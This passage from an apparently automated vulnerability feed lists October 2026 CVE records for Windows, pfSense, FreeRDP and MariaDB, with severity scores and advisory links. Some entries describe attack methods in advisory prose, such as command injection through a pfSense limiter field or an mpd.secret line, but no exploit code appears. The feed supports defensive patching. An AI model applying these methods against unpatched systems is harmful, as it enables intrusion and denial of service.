CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100203).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100203&date=2026-10-25).
Sources:
NVD CVE-2026-100203: https://nvd.nist.gov/vuln/detail/CVE-2026-100203
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100203
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100203&date=2026-10-25
Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-100215
Heap-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100215).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100215&date=2026-10-25).
Sources:
NVD CVE-2026-100215: https://nvd.nist.gov/vuln/detail/CVE-2026-100215
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100215
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100215&date=2026-10-25
Heap-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-100216
Stack-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Stack-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100216).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100216&date=2026-10-25).
Sources:
NVD CVE-2026-100216: https://nvd.nist.gov/vuln/detail/CVE-2026-100216
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100216
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100216&date=2026-10-25
Stack-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper privilege management in Windows Group Policy allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-100217
Improper privilege management in Windows Group Policy allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper privilege management in Windows Group Policy allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100217).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100217&date=2026-10-25).
Sources:
NVD CVE-2026-100217: https://nvd.nist.gov/vuln/detail/CVE-2026-100217
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100217
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100217&date=2026-10-25
Improper privilege management in Windows Group Policy allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-100218
Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100218).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100218&date=2026-10-25).
Sources:
NVD CVE-2026-100218: https://nvd.nist.gov/vuln/detail/CVE-2026-100218
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100218
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100218&date=2026-10-25
Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft QUIC allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-100219
Use after free in Microsoft QUIC allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft QUIC allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100219).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100219&date=2026-10-25).
Sources:
NVD CVE-2026-100219: https://nvd.nist.gov/vuln/detail/CVE-2026-100219
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100219
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100219&date=2026-10-25
Use after free in Microsoft QUIC allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Media Video Decoder allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-100220
Heap-based buffer overflow in Windows Media Video Decoder allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Media Video Decoder allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100220).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100220&date=2026-10-25).
Sources:
NVD CVE-2026-100220: https://nvd.nist.gov/vuln/detail/CVE-2026-100220
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100220
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100220&date=2026-10-25
Heap-based buffer overflow in Windows Media Video Decoder allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-100222
Heap-based buffer overflow in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100222).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100222&date=2026-10-25).
Sources:
NVD CVE-2026-100222: https://nvd.nist.gov/vuln/detail/CVE-2026-100222
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100222
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100222&date=2026-10-25
Heap-based buffer overflow in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-100225
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100225).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100225&date=2026-10-25).
Sources:
NVD CVE-2026-100225: https://nvd.nist.gov/vuln/detail/CVE-2026-100225
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100225
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100225&date=2026-10-25
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Traffic Shaper Limiters privileges to execute root...
https://kevwire.com/record/CVE-2026-111218
Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Traffic Shaper Limiters privileges to execute root... (Oct 15, 2026).
Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Traffic Shaper Limiters privileges to execute root commands by tampering with the limiter number field. Attackers can submit a malicious hidden 'number' value when editing a limiter, then delete it so delete_queue() passes the unquoted value to dnctl via /bin/sh as root.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111218).
EPSS 8.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111218&date=2026-10-25).
Sources:
NVD CVE-2026-111218: https://nvd.nist.gov/vuln/detail/CVE-2026-111218
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111218&date=2026-10-25
Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Traffic Shaper Limiters privileges to execute root commands by tampering with the limiter number field. Attackers can submit a malicious hidden 'number' value when editing a limiter, then delete it so delete_queue() passes the unquoted value to dnctl via /bin/sh as root.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense CE through 2.9.0 contains a newline injection vulnerability in services_pppoe_edit.php that allows privileged users to inject mpd.secret entries via unvalidated...
https://kevwire.com/record/CVE-2026-111219
Netgate pfSense CE through 2.9.0 contains a newline injection vulnerability in services_pppoe_edit.php that allows privileged users to inject mpd.secret entries via unvalidated... (Oct 15, 2026).
Netgate pfSense CE through 2.9.0 contains a newline injection vulnerability in services_pppoe_edit.php that allows privileged users to inject mpd.secret entries via unvalidated username POST fields. Attackers with the PPPoE Server Edit privilege can add a line whose secret begins with '!', making mpd5 run commands as root when a PPPoE client authenticates.
CVSS 7.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111219).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111219&date=2026-10-25).
Sources:
NVD CVE-2026-111219: https://nvd.nist.gov/vuln/detail/CVE-2026-111219
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111219&date=2026-10-25
Netgate pfSense CE through 2.9.0 contains a newline injection vulnerability in services_pppoe_edit.php that allows privileged users to inject mpd.secret entries via unvalidated username POST fields. Attackers with the PPPoE Server Edit privilege can add a line whose secret begins with '!', making mpd5 run commands as root when a PPPoE client authenticates.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP before 3.32.0 contains a NULL pointer dereference vulnerability in the websocket transport that allows a malicious gateway to crash clients by sending zero-length pings.
https://kevwire.com/record/CVE-2026-111373
FreeRDP before 3.32.0 contains a NULL pointer dereference vulnerability in the websocket transport that allows a malicious gateway to crash clients by sending zero-length pings. (Oct 16, 2026).
FreeRDP before 3.32.0 contains a NULL pointer dereference vulnerability in the websocket transport that allows a malicious gateway to crash clients by sending zero-length pings. When the payload length is zero, websocket_reply_pong passes a nullptr stream to websocket_reply_close, triggering an assertion failure that terminates the client process and causes denial of service.
CVSS 6.9 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111373).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111373&date=2026-10-25).
Sources:
NVD CVE-2026-111373: https://nvd.nist.gov/vuln/detail/CVE-2026-111373
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-83g2-gf92-5c4g
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111373&date=2026-10-25
FreeRDP before 3.32.0 contains a NULL pointer dereference vulnerability in the websocket transport that allows a malicious gateway to crash clients by sending zero-length pings. When the payload length is zero, websocket_reply_pong passes a nullptr stream to websocket_reply_close, triggering an assertion failure that terminates the client process and causes denial of service.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 2.0.0 before 3.32.0 contains an unbounded reassembly vulnerability in WTSProcessChannelData that fails to enforce cumulative fragment limits.
https://kevwire.com/record/CVE-2026-111377
FreeRDP from 2.0.0 before 3.32.0 contains an unbounded reassembly vulnerability in WTSProcessChannelData that fails to enforce cumulative fragment limits. (Oct 16, 2026).
FreeRDP from 2.0.0 before 3.32.0 contains an unbounded reassembly vulnerability in WTSProcessChannelData that fails to enforce cumulative fragment limits. Authenticated clients can start a static virtual channel message, withhold the LAST flag, and send endless fragments to exhaust server memory.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111377).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111377&date=2026-10-25).
Sources:
NVD CVE-2026-111377: https://nvd.nist.gov/vuln/detail/CVE-2026-111377
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-xm53-352c-57jw
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111377&date=2026-10-25
FreeRDP from 2.0.0 before 3.32.0 contains an unbounded reassembly vulnerability in WTSProcessChannelData that fails to enforce cumulative fragment limits. Authenticated clients can start a static virtual channel message, withhold the LAST flag, and send endless fragments to exhaust server memory.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 3.0.0 before 3.32.0 contains an uncontrolled resource consumption vulnerability in parse_nla_mode_pdu that allows unauthenticated attackers to exhaust server memory.
https://kevwire.com/record/CVE-2026-111378
FreeRDP from 3.0.0 before 3.32.0 contains an uncontrolled resource consumption vulnerability in parse_nla_mode_pdu that allows unauthenticated attackers to exhaust server memory. (Oct 16, 2026).
FreeRDP from 3.0.0 before 3.32.0 contains an uncontrolled resource consumption vulnerability in parse_nla_mode_pdu that allows unauthenticated attackers to exhaust server memory. Attackers can complete TLS and stream bytes not beginning with the DER SEQUENCE tag 0x30, causing unbounded receive buffer growth before NLA authentication.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111378).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111378&date=2026-10-25).
Sources:
NVD CVE-2026-111378: https://nvd.nist.gov/vuln/detail/CVE-2026-111378
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-qpfh-m9w6-xf2x
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111378&date=2026-10-25
FreeRDP from 3.0.0 before 3.32.0 contains an uncontrolled resource consumption vulnerability in parse_nla_mode_pdu that allows unauthenticated attackers to exhaust server memory. Attackers can complete TLS and stream bytes not beginning with the DER SEQUENCE tag 0x30, causing unbounded receive buffer growth before NLA authentication.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v3 that allows local attackers to corrupt memory by supplying a crafted v3...
https://kevwire.com/record/CVE-2026-111379
FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v3 that allows local attackers to corrupt memory by supplying a crafted v3... (Oct 16, 2026).
FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v3 that allows local attackers to corrupt memory by supplying a crafted v3 persistent cache file. Attackers can set large width and height values that wrap the size calculation in persist_cache_get_data, causing fread to overflow an undersized buffer and potentially execute code.
CVSS 7.0 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111379).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111379&date=2026-10-25).
Sources:
NVD CVE-2026-111379: https://nvd.nist.gov/vuln/detail/CVE-2026-111379
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-945c-qq5h-jqwp
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111379&date=2026-10-25
FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v3 that allows local attackers to corrupt memory by supplying a crafted v3 persistent cache file. Attackers can set large width and height values that wrap the size calculation in persist_cache_get_data, causing fread to overflow an undersized buffer and potentially execute code.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v2 that allows local attackers to corrupt heap memory via integer wraparound in...
https://kevwire.com/record/CVE-2026-111381
FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v2 that allows local attackers to corrupt heap memory via integer wraparound in... (Oct 16, 2026).
FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v2 that allows local attackers to corrupt heap memory via integer wraparound in bitmap size calculation. Attackers can craft a persistent cache v2 file with oversized width and height values that causes mismatched entry size accounting and fixed 16 KiB reads, leading to crashes or code execution when loaded.
CVSS 7.0 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111381).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111381&date=2026-10-25).
Sources:
NVD CVE-2026-111381: https://nvd.nist.gov/vuln/detail/CVE-2026-111381
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-26cc-wjh8-hjw6
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111381&date=2026-10-25
FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v2 that allows local attackers to corrupt heap memory via integer wraparound in bitmap size calculation. Attackers can craft a persistent cache v2 file with oversized width and height values that causes mismatched entry size accounting and fixed 16 KiB reads, leading to crashes or code execution when loaded.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP before 3.32.0 contains a client-side heap out-of-bounds write vulnerability in general_LumaToYUV444 and general_ChromaV2ToYUV444 that allows malicious RDP servers to...
https://kevwire.com/record/CVE-2026-111382
FreeRDP before 3.32.0 contains a client-side heap out-of-bounds write vulnerability in general_LumaToYUV444 and general_ChromaV2ToYUV444 that allows malicious RDP servers to... (Oct 16, 2026).
FreeRDP before 3.32.0 contains a client-side heap out-of-bounds write vulnerability in general_LumaToYUV444 and general_ChromaV2ToYUV444 that allows malicious RDP servers to corrupt client memory. Attackers can send RDPGFX AVC444 or AVC444v2 frames with odd-height region rects ending at surface height to write past U/V planes, enabling heap corruption and potential code execution.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111382).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111382&date=2026-10-25).
Sources:
NVD CVE-2026-111382: https://nvd.nist.gov/vuln/detail/CVE-2026-111382
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-f4pf-pgp4-f2r3
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111382&date=2026-10-25
FreeRDP before 3.32.0 contains a client-side heap out-of-bounds write vulnerability in general_LumaToYUV444 and general_ChromaV2ToYUV444 that allows malicious RDP servers to corrupt client memory. Attackers can send RDPGFX AVC444 or AVC444v2 frames with odd-height region rects ending at surface height to write past U/V planes, enabling heap corruption and potential code execution.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MariaDB server is a community developed fork of MySQL server.
https://kevwire.com/record/CVE-2026-85746
MariaDB server is a community developed fork of MySQL server. (Oct 16, 2026).
MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, ST_AsText can write beyond an allocated output buffer when converting deeply nested GeometryCollections because recursive WKT serialization does not account for bytes consumed or reserve sufficient space. A low-privileged remote attacker can submit a specially crafted GIS object to corrupt memory and potentially achieve code execution when combined with another vulnerability. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.
CVSS 9.9 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85746).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85746&date=2026-10-25).
Sources:
NVD CVE-2026-85746: https://nvd.nist.gov/vuln/detail/CVE-2026-85746
Vendor advisory (via NVD references): https://github.com/MariaDB/server/security/advisories/GHSA-8fvj-c57c-pggx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85746&date=2026-10-25
MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, ST_AsText can write beyond an allocated output buffer when converting deeply nested GeometryCollections because recursive WKT serialization does not account for bytes consumed or reserve sufficient space. A low-privileged remote attacker can submit a specially crafted GIS object to corrupt memory and potentially achieve code execution when combined with another vulnerability. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MariaDB server is a community developed fork of MySQL server.
https://kevwire.com/record/CVE-2026-85748
MariaDB server is a community developed fork of MySQL server. (Oct 16, 2026).
MariaDB server is a community developed fork of MySQL server. From 12.3.1 until 12.3.3 and 13.0.2, SYS_REFCURSOR handling is affected because cursor-array reallocation can leave stale references in routine contexts. A low-privileged attacker can open a large number of SYS_REFCURSORs and then fetch one to trigger a use-after-free that can enable remote code execution when combined with another vulnerability. This issue is fixed in versions 12.3.3 and 13.0.2.
CVSS 9.9 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85748).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85748&date=2026-10-25).
Sources:
NVD CVE-2026-85748: https://nvd.nist.gov/vuln/detail/CVE-2026-85748
Vendor advisory (via NVD references): https://github.com/MariaDB/server/security/advisories/GHSA-mv8g-9f7q-hprm
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85748&date=2026-10-25
MariaDB server is a community developed fork of MySQL server. From 12.3.1 until 12.3.3 and 13.0.2, SYS_REFCURSOR handling is affected because cursor-array reallocation can leave stale references in routine contexts. A low-privileged attacker can open a large number of SYS_REFCURSORs and then fetch one to trigger a use-after-free that can enable remote code execution when combined with another vulnerability. This issue is fixed in versions 12.3.3 and 13.0.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MariaDB server is a community developed fork of MySQL server.
https://kevwire.com/record/CVE-2026-86047
